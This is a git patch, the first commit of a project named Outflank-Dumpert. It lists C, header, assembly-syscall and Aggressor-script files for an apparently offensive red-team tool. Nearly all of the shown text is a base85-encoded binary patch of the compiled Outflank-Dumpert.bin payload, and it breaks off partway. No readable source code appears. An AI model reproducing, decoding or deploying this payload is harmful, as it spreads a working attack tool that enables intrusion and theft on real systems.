From 863463f21151fd3818801b8eec98979c11e05e84 Mon Sep 17 00:00:00 2001 From: Cn33liz Date: Wed, 19 Jun 2019 12:23:39 +0200 Subject: [PATCH] First commit --- Dumpert-Aggressor/Outflank-Dumpert.bin | Bin 0 -> 116241 bytes Dumpert-Aggressor/Outflank-Dumpert.cna | 35 ++ Dumpert-DLL/Outflank-Dumpert-DLL.sln | 28 ++ Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.c | 321 ++++++++++++++++ Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.h | 209 +++++++++++ .../Outflank-Dumpert-DLL.vcxproj | 128 +++++++ .../Outflank-Dumpert-DLL.vcxproj.filters | 32 ++ .../Outflank-Dumpert-DLL.vcxproj.user | 8 + Dumpert-DLL/Outflank-Dumpert-DLL/Syscalls.asm | 237 ++++++++++++ Dumpert/Outflank-Dumpert.sln | 28 ++ Dumpert/Outflank-Dumpert/Dumpert.c | 354 ++++++++++++++++++ Dumpert/Outflank-Dumpert/Dumpert.h | 209 +++++++++++ .../Outflank-Dumpert/Outflank-Dumpert.vcxproj | 130 +++++++ .../Outflank-Dumpert.vcxproj.filters | 32 ++ .../Outflank-Dumpert.vcxproj.user | 4 + Dumpert/Outflank-Dumpert/Syscalls.asm | 237 ++++++++++++ README.md | 30 +- 17 files changed, 2020 insertions(+), 2 deletions(-) create mode 100644 Dumpert-Aggressor/Outflank-Dumpert.bin create mode 100644 Dumpert-Aggressor/Outflank-Dumpert.cna create mode 100755 Dumpert-DLL/Outflank-Dumpert-DLL.sln create mode 100755 Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.c create mode 100755 Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.h create mode 100755 Dumpert-DLL/Outflank-Dumpert-DLL/Outflank-Dumpert-DLL.vcxproj create mode 100755 Dumpert-DLL/Outflank-Dumpert-DLL/Outflank-Dumpert-DLL.vcxproj.filters create mode 100755 Dumpert-DLL/Outflank-Dumpert-DLL/Outflank-Dumpert-DLL.vcxproj.user create mode 100755 Dumpert-DLL/Outflank-Dumpert-DLL/Syscalls.asm create mode 100755 Dumpert/Outflank-Dumpert.sln create mode 100755 Dumpert/Outflank-Dumpert/Dumpert.c create mode 100755 Dumpert/Outflank-Dumpert/Dumpert.h create mode 100755 Dumpert/Outflank-Dumpert/Outflank-Dumpert.vcxproj create mode 100755 Dumpert/Outflank-Dumpert/Outflank-Dumpert.vcxproj.filters create mode 100755 Dumpert/Outflank-Dumpert/Outflank-Dumpert.vcxproj.user create mode 100755 Dumpert/Outflank-Dumpert/Syscalls.asm diff --git a/Dumpert-Aggressor/Outflank-Dumpert.bin b/Dumpert-Aggressor/Outflank-Dumpert.bin new file mode 100644 index 0000000000000000000000000000000000000000..6101aa6adfaa425de0afcba31529c890b7d33d0a GIT binary patch literal 116241 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 